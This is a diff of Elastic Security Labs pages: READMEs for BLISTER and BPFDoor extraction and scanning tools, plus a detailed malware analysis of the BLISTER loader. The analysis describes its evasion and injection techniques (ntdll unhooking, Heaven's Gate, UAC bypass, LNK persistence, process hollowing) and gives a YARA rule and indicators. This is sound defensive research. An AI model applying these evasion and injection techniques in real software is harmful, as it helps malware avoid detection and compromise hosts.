"$(pwd)/binaries":/binaries blister-config-extractor:latest -d /binaries/
|
||||
|
||||
```
|
||||
|
||||
We can either specify a single sample with **-f** option or a directory of samples with **-d**.
|
||||
|
||||

|
||||
|
||||
### Running it Locally
|
||||
|
||||
As mentioned above, Docker is the recommended approach to running this project, however you can also run this locally. This project uses [Poetry](https://python-poetry.org/) to manage dependencies, testing, and metadata. If you have Poetry installed already, from this directory, you can simply run the following commands to run the tool. This will setup a virtual environment, install the dependencies, activate the virtual environment, and run the console script.
|
||||
|
||||
```
|
||||
poetry lock
|
||||
poetry install
|
||||
poetry shell
|
||||
blister-config-extractor -h
|
||||
|
||||
```
|
||||
|
||||
Once that works, you can do the same sort of things as mentioned in the Docker instructions above.
|
||||
|
||||
## References
|
||||
|
||||
- Customised Rabbit cipher implementation based on [Rabbit-Cipher](https://github.com/Robin-Pwner/Rabbit-Cipher/)
|
|
@ -0,0 +1,471 @@
|
|||
---
|
||||
title: "BLISTER Loader"
|
||||
slug: "blister-loader"
|
||||
date: "2023-04-13"
|
||||
description: "The BLISTER loader continues to be actively used to load a variety of malware."
|
||||
author:
|
||||
- slug: cyril-francois
|
||||
- slug: daniel-stepanic
|
||||
- slug: salim-bitam
|
||||
image: "blog-thumb-power-lines.jpg"
|
||||
category:
|
||||
- slug: malware-analysis
|
||||
tags:
|
||||
- blister
|
||||
- malware
|
||||
---
|
||||
|
||||
## Key Takeaways
|
||||
|
||||
- BLISTER is a loader that continues to stay under the radar, actively being used to load a variety of malware including clipbankers, information stealers, trojans, ransomware, and shellcode
|
||||
- In-depth analysis shows heavy reliance of Windows Native API’s, several injection capabilities, multiple techniques to evade detection, and counter static/dynamic analysis
|
||||
- Elastic Security is providing a configuration extractor that can be used to identify key elements of the malware and dump the embedded payload for further analysis
|
||||
- 40 days after the initial reporting on the BLISTER loader by Elastic Security, we observed a change in the binary to include additional architectures. This shows that this is an actively developed tool and the authors are watching defensive countermeasures
|
||||
|
||||
> For information on the BLISTER malware loader and campaign observations, check out our blog post and configuration extractor detailing this:
|
||||
>
|
||||
> - [BLISTER Campaign Analysis](https://www.elastic.co/security-labs/elastic-security-uncovers-blister-malware-campaign)
|
||||
> - [BLISTER Configuration Extractor](https://www.elastic.co/security-labs/blister-configuration-extractor)
|
||||
|
||||
## Overview
|
||||
|
||||
The Elastic Security team has continually been monitoring the BLISTER loader since our initial [release](https://www.elastic.co/blog/elastic-security-uncovers-blister-malware-campaign) at the end of last year. This family continues to remain largely unnoticed, with low detection rates on new samples.
|
||||
|
||||

|
||||
|
||||
A distinguishing characteristic of BLISTER’s author is their method of tampering with legitimate DLLs to bypass static analysis. During the past year, Elastic Security has observed the following legitimate DLL’s patched by BLISTER malware:
|
||||
|
||||
| Filename | Description |
|
||||
| -------------- | ------------------------------------------------------------------ |
|
||||
| dxgi.dll | DirectX Graphics Infrastructure |
|
||||
| WIAAut.DLL | WIA Automation Layer |
|
||||
| PowerCPL.DLL | Power Options Control Panel |
|
||||
| WIMGAPI.DLL | Windows Imaging Library |
|
||||
| rdpencom.dll | RDPSRAPI COM Objects |
|
||||
| colorui.dll | Microsoft Color Control Panel. |
|
||||
| termmgr.dll | Microsoft TAPI3 Terminal Manager |
|
||||
| libcef.dll | Chromium Embedded Framework (CEF) Dynamic Link Library |
|
||||
| CEWMDM.DLL | Windows CE WMDM Service Provider |
|
||||
| intl.dll | LGPLed libintl for Windows NT/2000/XP/Vista/7 and Windows 95/98/ME |
|
||||
| vidreszr.dll | Windows Media Resizer |
|
||||
| sppcommdlg.dll | Software Licensing UI API |
|
||||
|
||||
Due to the way malicious code is embedded in an otherwise benign application, BLISTER may be challenging for technologies that rely on some forms of machine learning. Combined with code-signing defense evasion, BLISTER appears designed with security technologies in mind.
|
||||
|
||||
Our research shows that BLISTER is actively developed and has been [linked](https://www.trendmicro.com/en_us/research/22/d/Thwarting-Loaders-From-SocGholish-to-BLISTERs-LockBit-Payload.html?utm_source=trendmicroresearch&utm_medium=smk&utm_campaign=0422_Socgholish) in public reporting to [LockBit](https://malpedia.caad.fkie.fraunhofer.de/details/win.lockbit) ransomware and the [SocGholish](https://redcanary.com/threat-detection-report/threats/socgholish/) framework; in addition, Elastic has also observed BLISTER in relation to the following families: [Amadey](https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey), [BitRAT](https://malpedia.caad.fkie.fraunhofer.de/details/win.bit_rat), [Clipbanker](https://malpedia.caad.fkie.fraunhofer.de/details/win.clipbanker), [Cobalt Strike](https://malpedia.caad.fkie.fraunhofer.de/details/win.cobalt_strike), [Remcos](https://malpedia.caad.fkie.fraunhofer.de/details/win.remcos), and [Raccoon](https://malpedia.caad.fkie.fraunhofer.de/details/win.raccoon) along with others.
|
||||
|
||||
In this post, we will explain how BLISTER continues to operate clandestinely, highlight the loader’s core capabilities (injection options, obfuscation, and anti-analysis tricks) as well as provide a configuration extractor that can be used to dump BLISTER embedded payloads.
|
||||
|
||||
Consider the following [sample](https://www.virustotal.com/gui/file/afb77617a4ca637614c429440c78da438e190dd1ca24dc78483aa731d80832c2) representative of BLISTER for purposes of this analysis. This sample was also used to develop the initial BLISTER family YARA signature, the configuration extraction script, and evaluate tools against against unknown x32 and x64 BLISTER samples.
|
||||
|
||||
## Execution Flow
|
||||
|
||||
The execution flow consists of the following phases:
|
||||
|
||||
- Deciphering the second stage
|
||||
- Retrieving configuration and packed payload
|
||||
- Payload unpacking
|
||||
- Persistence mechanisms
|
||||
- Payload injection
|
||||
|
||||
### Launch / Entry Point
|
||||
|
||||
During the first stage of the execution flow, BLISTER is embedded in a legitimate version of the [colorui.dll](https://www.virustotal.com/gui/file/1068e40851b243a420cb203993a020d0ba198e1ec6c4d95f0953f81e13046973/details) library. The threat actor, with a previously achieved foothold, uses the Windows built-in rundll32.exe utility to load BLISTER by calling the export function **LaunchColorCpl** :
|
||||
|
||||
```
|
||||
Rundll32 execution arguments
|
||||
|
||||
rundll32.exe "BLISTER.dll,LaunchColorCpl"
|
||||
```
|
||||
|
||||
The image below demonstrates how BLISTER’s DLL is modified, noting that the export start is patched with a function call (line 17) to the malware entrypoint.
|
||||
|
||||

|
||||
|
||||
If we compare one of these malicious loaders to the original DLL they masquerade as, we can see where the patch was made, the function no longer exists:
|
||||
|
||||

|
||||
|
||||
### Deciphering Second Stage
|
||||
|
||||
BLISTER’s second stage is ciphered in its [resource section](https://docs.microsoft.com/en-us/windows/win32/debug/pe-format#the-rsrc-section) (.rsrc).
|
||||
|
||||
The deciphering routine begins with a loop based sleep to evade detection:
|
||||
|
||||

|
||||
|
||||
BLISTER then enumerates and hashes each export of ntdll, comparing export names against loaded module names; searching specifically for the **NtProtectVirtualMemory** API:
|
||||
|
||||

|
||||
|
||||
Finally, it looks for a memory region of 100,832 bytes by searching for a specific memory pattern, beginning its search at the return address and leading us in the .rsrc section. When found, BLISTER performs an eXclusive OR (XOR) operation on the memory region with a four-byte key, sets it’s page protection to PAGE_EXECUTE_READ with a call to NtProtectVirtualMemory, and call its second stage entry point with the deciphering key as parameter:
|
||||
|
||||

|
||||
|
||||
### Obfuscation
|
||||
|
||||
BLISTER’s second-stage involves obfuscating functions, scrambling their control flow by splitting their basic blocks with unconditional jumps and randomizing basic blocks’ locations. An example of which appears below.
|
||||
|
||||

|
||||
|
||||
BLISTER inserts junk code into basic blocks as yet another form of defense evasion, as seen below.
|
||||
|
||||

|
||||
|
||||
### Retrieving Configuration and Packed Payload
|
||||
|
||||
BLISTER uses the previous stage’s four-byte key to locate and decipher its configuration.
|
||||
|
||||
The routine begins by searching its memory, beginning at return address, for its four-byte key XORed with a hardcoded value as memory pattern:
|
||||
|
||||

|
||||
|
||||
When located, the 0x644 byte configuration is copied and XOR-decrypted with the same four-byte key:
|
||||
|
||||

|
||||
|
||||
Finally, it returns a pointer to the beginning of the packed PE, which is after the 0x644 byte blob:
|
||||
|
||||

|
||||
|
||||
See the [configuration structure](https://www.elastic.co/security-labs/blister-loader#configuration-structure) in the appendix.
|
||||
|
||||
### Time Based Anti Debug
|
||||
|
||||
After loading the configuration, and depending if the **kEnableSleepBasedAntiDebug** flag (0x800) is set, BLISTER calls its time-based anti-debug function:
|
||||
|
||||

|
||||
|
||||
This function starts by creating a thread with the Sleep Windows function as a starting address and 10 minutes as the argument:
|
||||
|
||||

|
||||
|
||||
The main thread will sleep using **NtDelayExecution** until the sleep thread has exited:
|
||||
|
||||

|
||||
|
||||
Finally the function returns 0 when the sleep thread has run at least for 9 1/2 minutes:
|
||||
|
||||

|
||||
|
||||
If not, the function will return 1 and the process will be terminated:
|
||||
|
||||

|
||||
|
||||
### Windows API
|
||||
|
||||
#### Blister’s GetModuleHandle
|
||||
|
||||
BLISTER implements its own **GetModuleHandle** to evade detection, the function takes the library name hash as a parameter, iterates over the process [PEB LDR](https://docs.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb_ldr_data)’s modules and checks the hashed module’s name against the one passed in the parameter:
|
||||
|
||||

|
||||
|
||||
#### Blister’s GetProcAddress
|
||||
|
||||
BLISTER’s **GetProcAddress** takes the target DLL and the export hash as a parameter, it also takes a flag that tells the function that the library is 64 bits.
|
||||
|
||||
The DLL can be loaded or mapped then the function iterates over the DLL’s export function names and compares their hashes with the ones passed in the parameter:
|
||||
|
||||

|
||||
|
||||
If the export is found, and its virtual address isn’t null, it is returned:
|
||||
|
||||

|
||||
|
||||
Else the DLL is **LdrLoaded** and BLISTER’s **GetProcAddress** is called again with the newly loaded dll:
|
||||
|
||||

|
||||
|
||||
#### Library Manual Mapping
|
||||
|
||||
BLISTER manually maps a library using **NtCreateFile** in order to open a handle on the DLL file:
|
||||
|
||||

|
||||
|
||||
Next it creates a section with the handle by calling **NtCreateSection** with the **SEC_IMAGE** attribute which tells Windows to loads the binary as a PE:
|
||||
|
||||

|
||||
|
||||
_NtCreateSection used within mapping function_
|
||||
|
||||
Finally it maps the section with **NtMapViewOfSection** :
|
||||
|
||||

|
||||
|
||||
#### x32/x64 Ntdll Mapping
|
||||
|
||||
Following the call to its anti-debug function, BLISTER manually maps 32 bit and 64 bit versions of NTDLL.
|
||||
|
||||
It starts by mapping the x32 version:
|
||||
|
||||

|
||||
|
||||
Then it disables [SysWOW64 redirection](https://docs.microsoft.com/en-us/windows/win32/winprog64/file-system-redirector):
|
||||
|
||||

|
||||
|
||||
And then maps the 64 bit version:
|
||||
|
||||

|
||||
|
||||
Then if available, the mapped libraries will be used with the **GetProcAddress** function, i.e:
|
||||
|
||||

|
||||
|
||||
#### LdrLoading Windows Libraries and Removing Hooks
|
||||
|
||||
After mapping 32 and 64 bit **NTDLL** versions BLISTER will **LdrLoad** several Windows libraries and remove potential hooks:
|
||||
|
||||

|
||||
|
||||
First, it tries to convert the hash to the library name by comparing the hash against a fixed list of known hashes:
|
||||
|
||||

|
||||
|
||||
If the hash is found BLISTER uses the **LdrLoad** to load the library:
|
||||
|
||||

|
||||
|
||||
Then BLISTER searches for the corresponding module in its own process:
|
||||
|
||||

|
||||
|
||||
And maps a fresh copy of the library with the module’s **FullDllName** :
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
BLISTER then applies the relocation to the mapped library with the loaded one as the base address for the relocation calculation:
|
||||
|
||||

|
||||
|
||||
Next BLISTER iterates over each section of the loaded library to see if the section is executable:
|
||||
|
||||

|
||||
|
||||
If the section is executable, it is replaced with the mapped one, thus removing any hooks:
|
||||
|
||||

|
||||
|
||||
#### x64 API Call
|
||||
|
||||
BLISTER can call 64-bit library functions through the use of special 64-bit function wrapper:
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
To make this call BLISTER switches between 32-bit to 64-bit code using the old Heaven’s Gate [technique](https://blog.talosintelligence.com/2019/07/rats-and-stealers-rush-through-heavens.html):
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
## Unpacking Payload
|
||||
|
||||
During the unpacking process of the payload, the malware starts by allocating memory using **NtAllocateVirtualMemory** and passing in configuration information. A memcpy function is used to store a copy of encrypted/compressed payload in a buffer for next stage (decryption).
|
||||
|
||||

|
||||
|
||||
### Deciphering
|
||||
|
||||
BLISTER leverages the Rabbit stream [cipher](<https://en.wikipedia.org/wiki/Rabbit_(cipher)>), passing in the previously allocated buffer containing the encrypted payload, the compressed data size along with the 16-byte deciphering key and 8-byte IV.
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
### Decompression
|
||||
|
||||
After the decryption stage, the payload is then decompressed using **RtlDecompressBuffer** with the LZNT1 compression format.
|
||||
|
||||

|
||||
|
||||
## Persistence Mechanism
|
||||
|
||||
To achieve persistence, BLISTER leverages Windows shortcuts by creating an LNK file inside the Windows startup folder. It creates a new directory using the **CreateDirectoryW** function with a unique hardcoded string found in the configuration file such as: C:\ProgramData`UNIQUE STRING\\>`
|
||||
|
||||
BLISTER then copies C:\System32\rundll32.exe and itself to the newly created directory and renames the files to UNIQUE STRING\\>.exe and UNIQUE STRING\\>.dll, respectively.
|
||||
|
||||
BLISTER uses the **CopyModuleIntoFolder** function and the **IFileOperation** Windows **COM** interface for [bypassing UAC](https://www.elastic.co/security-labs/exploring-windows-uac-bypasses-techniques-and-detection-strategies) when copying and renaming the files:
|
||||
|
||||

|
||||
|
||||
The malware creates an LNK file using **IShellLinkW COM** interface and stores it in `C:\Users\<username>\AppData\Roaming\Microsft\Windows\Start Menu\Startup as UNIQUE STRING\\>.lnk`
|
||||
|
||||

|
||||
|
||||
The LNK file is set to run the export function **LaunchColorCpl** of the newly copied malware with the renamed instance of rundll32. C:\ProgramData\UNIQUE STRING\\>\UNIQUE STRING\\>.exe C:\ProgramData\UNIQUE STRING\\>\UNIQUE STRING\\>.dll,LaunchColorCpl
|
||||
|
||||
## Injecting Payload
|
||||
|
||||
BLISTER implements 3 different injection techniques to execute the payload according to the configuration flag:
|
||||
|
||||

|
||||
|
||||
### Shellcode Execution
|
||||
|
||||
After decrypting the shellcode, BLISTER is able to inject it to a newly allocated read write memory region with **NtAllocateVirtualMemory** API, it then copies the shellcode to it and it sets the memory region to read write execute with **NtProtectVirtualMemory** and then executes it.
|
||||
|
||||

|
||||
|
||||
### Own Process Injection
|
||||
|
||||
BLISTER can execute DLL or Executable payloads reflectively in its memory space. It first creates a section with **NtCreateSection** API.
|
||||
|
||||

|
||||
|
||||
BLISTER then tries to map a view on the created section at the payload’s preferred base address. In case the preferred address is not available and the payload is an executable it will simply map a view on the created section at a random address and then do relocation.
|
||||
|
||||

|
||||
|
||||
Conversly, if the payload is a DLL, it will first unmap the memory region of the current process image and then it will map a view on the created section with the payload’s preferred address.
|
||||
|
||||

|
||||
|
||||
BLISTER then calls a function to copy the PE headers and the sections.
|
||||
|
||||

|
||||
|
||||
Finally, BLISTER executes the loaded payload in memory starting from its entry point if the payload is an executable. In case the payload is a DLL, it will find its export function according to the hash in the config file and execute it.
|
||||
|
||||
### Process Hollowing
|
||||
|
||||
BLISTER is able to perform [process hollowing](https://attack.mitre.org/techniques/T1055/012/) in a remote process:
|
||||
|
||||
First, there is an initial check for a specific module hash value (0x12453653), if met, BLISTER performs process hollowing against the Internet Explorer executable.
|
||||
|
||||

|
||||
|
||||
If not, the malware performs remote process hollowing with **Werfault.exe**. BLISTER follows standard techniques used for process hollowing.
|
||||
|
||||

|
||||
|
||||
There is one path within this function: if certain criteria are met matching Windows OS versions and build numbers the hollowing technique is performed by dropping a temporary file on disk within the **AppData** folder titled **Bg.Agent.ETW** with an explicit extension.
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
The malware uses this file to read and write malicious DLL to this file. Werfault.exe is started by BLISTER and then the contents of this temporary DLL are loaded into memory into the Werfault process and the file is shortly deleted after.
|
||||
|
||||

|
||||
|
||||
## Configuration Extractor
|
||||
|
||||
Automating the configuration and payload extraction from BLISTER is a key aspect when it comes to threat hunting as it gives visibility of the campaign and the malware deployed by the threat actors which enable us to discover new unknown samples and Cobalt Strike instances in a timely manner.
|
||||
|
||||
Our extractor uses a [Rabbit stream cipher implementation](https://github.com/Robin-Pwner/Rabbit-Cipher) and takes either a directory of samples with **-d** option or **-f** for a single sample,
|
||||
|
||||

|
||||
|
||||
To enable the community to further defend themselves against existing and new variants of the BLISTER loader, we are making the configuration extractor open source under the Apache 2 License. The configuration extractor documentation and binary download can be accessed [here](https://www.elastic.co/security-labs/blister-configuration-extractor).
|
||||
|
||||
## Conclusion
|
||||
|
||||
BLISTER continues to be a formidable threat, punching above its own weight class, distributing popular malware families and implants leading to major compromises. Elastic Security has been tracking BLISTER for months and we see no signs of this family slowing down.
|
||||
|
||||
From reversing BLISTER, our team was able to identify key functionality such as different injection methods, multiple techniques for defense evasion using anti-debug/anti-analysis features and heavy reliance on Windows Native API’s. We also are releasing a configuration extractor that can statically retrieve actionable information from BLISTER samples as well as dump out the embedded payloads.
|
||||
|
||||
## Appendix
|
||||
|
||||
### Configuration Structure
|
||||
|
||||
```
|
||||
BLISTER configuration structure
|
||||
|
||||
struct Config {
|
||||
uint16_t flag;
|
||||
uint32_t payload_export_hash;
|
||||
wchar_t w_payload_filename_and_cmdline[783];
|
||||
size_t compressed_data_size;
|
||||
size_t uncompressed_data_size;
|
||||
uint8_t pe_deciphering_key[16];
|
||||
uint8_t pe_deciphering_iv[8];
|
||||
};
|
||||
|
||||
```
|
||||
|
||||
### Configuration’s Flags
|
||||
|
||||
```
|
||||
BLISTER configuration files
|
||||
|
||||
enum Config::Flags {
|
||||
kDoPersistance = 0x1,
|
||||
kOwnProcessReflectiveInjectionMethod = 0x2,
|
||||
kOwnProcessHollowingMethod = 0x8,
|
||||
kRemoteProcessHollowingMethod = 0x10,
|
||||
kExecutePayloadExport = 0x20,
|
||||
kExecuteShellcodeMethod = 0x40,
|
||||
kInjectWithCmdLine = 0x80,
|
||||
kSleepAfterInjection = 0x100,
|
||||
kEnableSleepBasedAntiDebug = 0x800,
|
||||
};
|
||||
```
|
||||
|
||||
### Hashing Algorithm
|
||||
|
||||
```
|
||||
BLISTER hashing algorithm
|
||||
|
||||
uint32_t HashLibraryName(wchar_t *name) {
|
||||
uint32_t name {0};
|
||||
while (*name) {
|
||||
hash = ((hash >> 23) | (hash << 9)) + *name++;
|
||||
}
|
||||
return hash ;
|
||||
}
|
||||
```
|
||||
|
||||
### Indicators
|
||||
|
||||
| Indicator | Type | Note |
|
||||
| ---------------------------------------------------------------- | ------ | ----------- |
|
||||
| afb77617a4ca637614c429440c78da438e190dd1ca24dc78483aa731d80832c2 | SHA256 | BLISTER DLL |
|
||||
|
||||
## YARA Rule
|
||||
|
||||
This updated YARA rule has shown a 13% improvement in detection rates.
|
||||
|
||||
```
|
||||
BLISTER YARA rule
|
||||
|
||||
rule Windows_Trojan_BLISTER {
|
||||
meta:
|
||||
Author = "Elastic Security"
|
||||
creation_date = "2022-04-29"
|
||||
last_modified = "2022-04-29"
|
||||
os = "Windows"
|
||||
arch = "x86"
|
||||
category_type = "Trojan"
|
||||
family = "BLISTER"
|
||||
threat_name = "Windows.Trojan.BLISTER"
|
||||
description = "Detects BLISTER loader."
|
||||
reference_sample = "afb77617a4ca637614c429440c78da438e190dd1ca24dc78483aa731d80832c2"
|
||||
|
||||
strings:
|
||||
$a1 = { 8D 45 DC 89 5D EC 50 6A 04 8D 45 F0 50 8D 45 EC 50 6A FF FF D7 }
|
||||
$a2 = { 75 F7 39 4D FC 0F 85 F3 00 00 00 64 A1 30 00 00 00 53 57 89 75 }
|
||||
$a3 = { 78 03 C3 8B 48 20 8B 50 1C 03 CB 8B 78 24 03 D3 8B 40 18 03 FB 89 4D F8 89 55 E0 89 45 E4 85 C0 74 3E 8B 09 8B D6 03 CB 8A 01 84 C0 74 17 C1 C2 09 0F BE C0 03 D0 41 8A 01 84 C0 75 F1 81 FA B2 17 EB 41 74 27 8B 4D F8 83 C7 02 8B 45 F4 83 C1 04 40 89 4D F8 89 45 F4 0F B7 C0 3B 45 E4 72 C2 8B FE 8B 45 04 B9 }
|
||||
$b1 = { 65 48 8B 04 25 60 00 00 00 44 0F B7 DB 48 8B 48 ?? 48 8B 41 ?? C7 45 48 ?? ?? ?? ?? 4C 8B 40 ?? 49 63 40 ?? }
|
||||
$b2 = { B9 FF FF FF 7F 89 5D 40 8B C1 44 8D 63 ?? F0 44 01 65 40 49 2B C4 75 ?? 39 4D 40 0F 85 ?? ?? ?? ?? 65 48 8B 04 25 60 00 00 00 44 0F B7 DB }
|
||||
condition:
|
||||
any of them
|
||||
}
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
- [https://www.elastic.co/blog/elastic-security-uncovers-blister-malware-campaign](https://www.elastic.co/blog/elastic-security-uncovers-blister-malware-campaign)
|
||||
- [https://www.trendmicro.com/en_us/research/22/d/Thwarting-Loaders-From-SocGholish-to-BLISTERs-LockBit-Payload.html](https://www.trendmicro.com/en_us/research/22/d/Thwarting-Loaders-From-SocGholish-to-BLISTERs-LockBit-Payload.html?utm_source=trendmicroresearch&utm_medium=smk&utm_campaign=0422_Socgholish)
|
||||
- [https://redcanary.com/threat-detection-report/threats/socgholish/](https://redcanary.com/threat-detection-report/threats/socgholish/)
|
||||
|
||||
## Artifacts
|
||||
|
||||
Artifacts are also available for [download](https://assets.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blte5a55b99e66b4794/628e88d91cd65960bcff2862/blister-indicators.zip) in both ECS and STIX format in a combined zip bundle.
|
|
@ -0,0 +1,96 @@
|
|||
---
|
||||
title: "BPFDoor Configuration Extractor"
|
||||
slug: "bpfdoor-configuration-extractor"
|
||||
date: "2022-12-06"
|
||||
description: "Configuration extractor to dump out hardcoded passwords with BPFDoor."
|
||||
author:
|
||||
- slug: elastic-security-labs
|
||||
image: "tools-image.jpg"
|
||||
category:
|
||||
- slug: tools
|
||||
tags:
|
||||
- bpfdoor
|
||||
---
|
||||
|
||||
Configuration extractor to dump out hardcoded passwords with BPFDoor.
|
||||
|
||||
[Download bpfdoor-config-extractor.tar.gz](https://assets.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt3f57100ade3473c5/62882ccdb4fa6b61ed70ba87/bpfdoor-config-extractor.tar.gz)
|
||||
|
||||
## Overview
|
||||
|
||||
This tool provides a Python module and command line tool that will extract passwords from BPFDoor samples.
|
||||
|
||||
> The Elastic Security Team has released an indepth analysis of the BPFDoor malware and created an additional tool that will scan for BPFDoor infected hosts.
|
||||
>
|
||||
> - [BPFDoor analysis](https://bookish-bassoon-c37be003.pages.github.io/intelligence/2022/05/04.bpfdoor/article/)
|
||||
> - [BPFDoor scanner](https://www.elastic.co/security-labs/bpfdoor-scanner)
|
||||
|
||||
## Getting Started
|
||||
|
||||
### Docker
|
||||
|
||||
We can easily run the extractor with Docker, first we need to build the image.
|
||||
|
||||
```
|
||||
Building the BPFDoor Docker image
|
||||
|
||||
docker build . -t bpfdoor-extractor
|
||||
```
|
||||
|
||||
Then we run the container with the **-v** flag to map a host directory to the Docker container directory that contains the BPFDoor samples.
|
||||
|
||||
```
|
||||
Running the BPFDoor Docker container
|
||||
|
||||
docker run -ti --rm -v $(pwd)/binaries:/binaries \
|
||||
bpfdoor-extractor:latest -d /binaries/
|
||||
```
|
||||
|
||||
We can either specify a single sample with **-f** option or a directory of samples with **-d**
|
||||
|
||||
```
|
||||
BPFDoor Configuration Extractor help output
|
||||
|
||||
docker run -ti --rm bpfdoor-extractor:latest -h
|
||||
|
||||
Author: Elastic Security (MARE)
|
||||
|
||||
______ ______ ______ ______
|
||||
| ___ \| ___ \| ___|| _ \
|
||||
| |_/ /| |_/ /| |_ | | | | ___ ___ _ __
|
||||
| ___ \| __/ | _| | | | |/ _ \ / _ \ | '__|
|
||||
| |_/ /| | | | | |/ /| (_) || (_) || |
|
||||
\____/ \_| \_| |___/ \___/ \___/ |_|
|
||||
_____ __ _ _____ _ _
|
||||
/ __ \ / _|(_) | ___| | | | |
|
||||
| / \/ ___ _ __ | |_ _ __ _ | |__ __ __| |_ _ __ __ _ ___ | |_ ___ _ __
|
||||
| | / _ \ | '_ \ | _|| | / _` | | __|\ \/ /| __|| '__|/ _` | / __|| __|/ _ \ | '__|
|
||||
| \__/\| (_) || | | || | | || (_| | | |___ > < | |_ | | | (_| || (__ | |_| (_) || |
|
||||
\____/ \___/ |_| |_||_| |_| \__, | \____//_/\_\ \__||_| \__,_| \___| \__|\___/ |_|
|
||||
__/ |
|
||||
|___/
|
||||
|
||||
|
||||
usage: bpfdoor-extractor [-h] (-f FILENAME | -d DIRNAME)
|
||||
|
||||
options:
|
||||
-h, --help show this help message and exit
|
||||
-f FILENAME, --file FILENAME
|
||||
File
|
||||
-d DIRNAME, --dir DIRNAME
|
||||
Directory
|
||||
|
||||
```
|
||||
|
||||
### Running it Locally
|
||||
|
||||
As mentioned above, Docker is the recommended approach to running this project, however you can also run this locally. This project uses [Poetry](https://python-poetry.org/) to manage dependencies, testing, and metadata. If you have Poetry installed already, from this directory, you can simply run the following commands to run the tool. This will setup a virtual environment, install the dependencies, activate the virtual environment, and run the console script.
|
||||
|
||||
```
|
||||
poetry lock
|
||||
poetry install
|
||||
poetry shell
|
||||
bpfdoor-extractor --help
|
||||
```
|
||||
|
||||
Once that works, you can do the same sort of things as mentioned in the Docker instructions above.
|
|
@ -0,0 +1,105 @@
|
|||
---
|
||||
title: "BPFDoor Scanner"
|
||||
slug: "bpfdoor-scanner"
|
||||
date: "2022-12-06"
|
||||
description: "Python script to identify hosts infected with the BPFDoor malware."
|
||||
author:
|
||||
- slug: elastic-security-labs
|
||||
image: "tools-image.jpg"
|
||||
category:
|
||||
- slug: tools
|
||||
tags:
|
||||
- bpfdoor
|
||||
---
|
||||
|
||||
Python script to identify hosts infected with the BPFDoor malware.
|
||||
|
||||
[Download bpfdoor-scanner.tar.gz](https://assets.contentstack.io/v3/assets/bltefdd0b53724fa2ce/bltae9bafece9048014/62882b50dcc93261eccb04e2/bpfdoor-scanner.tar.gz)
|
||||
|
||||
## Getting Started
|
||||
|
||||
This tool provides a Python script to identify hosts that are infected with the BPFDoor malware.
|
||||
|
||||
> The Elastic Security Team has released an indepth analysis of the BPFDoor malware and created an additional tool that will extract configurations from BPFDoor malware samples.
|
||||
>
|
||||
> - [BPFDoor analysis](https://bookish-bassoon-c37be003.pages.github.io/intelligence/2022/05/04.bpfdoor/article/)
|
||||
> - [BPFDoor configuration extractor](https://www.elastic.co/security-labs/bpfdoor-configuration-extractor)
|
||||
|
||||
### Permissions
|
||||
|
||||
On Linux (and thus in a container), the tool requires the following permissions:
|
||||
|
||||
- CAP_NET_BIND_SERVICE
|
||||
- CAP_NET_RAW
|
||||
|
||||
On any \*NIX host, running the script with sudo will get you what you need. As long as you don’t strip the privileges listed for your container and you publish the UDP port you intend to receive on, you should be set.
|
||||
|
||||
### Docker
|
||||
|
||||
We can easily run the scanner with Docker, first we need to build the image:
|
||||
|
||||
```
|
||||
Building the BPFDoor scanner Docker image
|
||||
|
||||
docker build . -t bpfdoor-scanner
|
||||
```
|
||||
|
||||
## Usage
|
||||
|
||||
Once you’be built the Docker iamge, we can run the container to get a list of the options.
|
||||
|
||||
```
|
||||
Runing the BPFDoor container
|
||||
|
||||
docker run -ti --rm bpfdoor-scanner:latest --help
|
||||
|
||||
Usage: bpfdoor-scanner [OPTIONS]
|
||||
|
||||
Sends a discovery packet to suspected BPFDoor endpoints.
|
||||
|
||||
Example usage:
|
||||
|
||||
sudo ./bpfdoor-scanner --target-ip 1.2.3.4
|
||||
|
||||
Sends a packet to IP 1.2.3.4 using the default target port 68/UDP (tool
|
||||
listens on all ports) using the default interface on this host and listens
|
||||
on port 53/UDP to masquerade as traffic.
|
||||
|
||||
NOTE: Elevated privileges are required for source ports < 1024.
|
||||
|
||||
Options:
|
||||
--target-ip TEXT [required]
|
||||
--target-port INTEGER [default: 68]
|
||||
--source-ip TEXT IP for target to respond to and attempt to bind
|
||||
locally [default: 172.17.0.3]
|
||||
--source-port INTEGER Local port to listen on for response [default: 53]
|
||||
--timeout INTEGER Number of seconds to wait for response [default: 5]
|
||||
-v, --verbose Show verbose output
|
||||
-d, --debug Show debug output
|
||||
--version
|
||||
--help Show this message and exit.
|
||||
```
|
||||
|
||||
The minimum required option is just --target-ip. The rest have defaults. For running in a container, you’ll want to publish the return port (defaults to 53) and specify --source-ip of the host interface you wish to use. In the following example, the IP 192.168.100.10 is the interface on my host that will receive the packet.
|
||||
|
||||
```
|
||||
Example running the BPFDoor scanner
|
||||
|
||||
docker run -ti --publish 53:53/udp --rm bpfdoor-scanner:latest \
|
||||
--target-ip 192.168.32.18 --source-ip 192.168.100.10
|
||||
```
|
||||
|
||||
## Running Locally
|
||||
|
||||
As mentioned above, Docker is the recommended approach to running this project, however you can also run this locally. This project uses [Poetry](https://python-poetry.org/) to manage dependencies, testing, and metadata. If you have Poetry installed already, from this directory, you can simply run the following commands to run the tool. This will setup a virtual environment, install the dependencies, activate the virtual environment, and run the console script.
|
||||
|
||||
```
|
||||
Running BPFDoor scanner locally
|
||||
|
||||
poetry lock
|
||||
poetry install
|
||||
poetry shell
|
||||
sudo bpfdoor-scanner --help
|
||||
```
|
||||
|
||||
Once that works, you can do the same sort of things as mentioned in the Docker instructions above.
|
|
@ -0,0 +1,528 @@
|
|||
---
|
||||
title: "BUGHATCH Malware Analysis"
|
||||
slug: "bughatch-malware-analysis"
|
||||
date: "2022-09-09"
|
||||
subtitle: "Malware analysis of the BUGHATCH downloader."
|
||||
description: "Elastic Security has performed a deep technical analysis of the BUGHATCH malware. This includes capabilities as well as defensive countermeasures."
|
||||
author:
|
||||
- slug: salim-bitam
|
||||
image: "libraries-edev-ops-1680x980.jpg"
|
||||
category:
|
||||
- slug: malware-analysis
|
||||
tags:
|
||||
- bughatch
|
||||
- cuba
|
